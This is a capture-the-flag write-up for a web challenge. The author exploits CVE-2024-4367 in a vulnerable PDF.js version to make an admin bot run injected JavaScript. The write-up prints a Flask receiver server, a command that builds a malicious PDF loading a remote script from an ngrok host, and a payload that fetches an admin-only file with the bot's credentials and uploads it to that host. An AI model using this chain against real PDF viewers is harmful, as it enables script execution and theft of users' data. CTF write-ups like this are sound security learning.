Do Not Cheat

I’ve prepared a set of useful cheatsheets. This might be helpful for any hacker. 🔗 https://do-not-cheat-bb7d7982d597.1753ctf.com

In this chall given a website with some cheatsheets, looking the source code from browser it is evident there exist a flag.pdf file containing real flag but it’s access is not given to normal user, only admin can view the flag.pdf file.

Also the /report route exist where we can pass any pdf as query parameter to get it viewed by the admin…

Like this - https://do-not-cheat-bb7d7982d597.1753ctf.com/report?document=public/BLUE.pdf

Hmm, so admin is a bot! (common in CTF challs)

Now if we look console while testing the web app, we can see logs that tells us the pdf-viewer used by the web app is pdf-dist version 4.1.392 which is severely vulnerable to arbitary code execution (CVE-2024-4367).

So if we can pass a vulnerable pdf to /report route we could solve this challenge.

Let’s get into it -

From the POC of CVE-2024-4367 we can embed our malicious script to the a pdf.

First we’ll create a flask http server for our utility with this code -


from flask import Flask, send_file, request, jsonify
from flask_cors import CORS, cross_origin
import os

app = Flask(__name__)
cors = CORS(app)

UPLOAD_FOLDER = 'uploads'
if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)

@app.route('/')
@cross_origin()
def poc_pdf():
    return send_file("poc.pdf")

@app.route('/payload')
@cross_origin()
def payload():
    return send_file("payload.js")

@app.route('/upload', methods=['POST'])
@cross_origin()
def upload_file():
    if 'file' not in request.files:
        return jsonify({'error': 'No file part'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'No file selected'}), 400
    
    if file:
        filename = os.path.join(UPLOAD_FOLDER, file.filename)
        file.save(filename)
        return jsonify({
            'ok': True,
            'message': 'File uploaded successfully',
            'filename': file.filename
        }), 200

if __name__ == '__main__':
    app.run(debug=True)

Here we have three endpoints

  • / - gives the malicious pdf, we’ll create it later
  • /payload - gives payload.js file which is a malicious script
  • /upload - basic file upload utility

Firstly, start the web server.

To host this flask server we’ll use ngrok, which uses port tunelling to make the local server accessible from anywhere on internet.

My server is running on the domain 45a8-122-162-147-205.ngrok-free.app, yours will be different so run commands accordingly.

Let’s create the malicious pdf by following command -

$ python3 CVE-2024-4367.py "var s=document.createElement('script');s.src='https://45a8-122-162-147-205.ngrok-free.app/payload';document.body.append(s)"
[+] Created malicious PDF file: poc.pdf
[+] Open the file with the vulnerable application to trigger the exploit.

This will create our malicious poc.pdf

To generate the malicious pdf we’ll be taking help from the POC of CVE-2024-4367 as mentioned above

The code injected in pdf quiet simple, it will load the javascript file payload.js availabe at /payload endpoint of our utility web server and will execute it

Now for payload.js we have -

(async () => {
    const res = await fetch("/app/admin/flag.pdf", { credentials: 'include' });
    const blob = await res.blob();

    const formData = new FormData();

    formData.append('file', new File([blob], 'flag.pdf', { type: 'application/pdf' }));

    await fetch('https://45a8-122-162-147-205.ngrok-free.app/upload', {
        method: 'POST',
        body: formData
    });
})();

Simple function which just fetch the flag.pdf data and upload the pdf to /upload endpoint of our utility web server

Now if i’ll send our utility web server url to admin using /report endpoint on website we’ll get our flag uploaded inside the /uploads folder, ~ crazyyy ~

just go to https://do-not-cheat-bb7d7982d597.1753ctf.com/report?document=https://45a8-122-162-147-205.ngrok-free.app and you will get the flag paved on your machine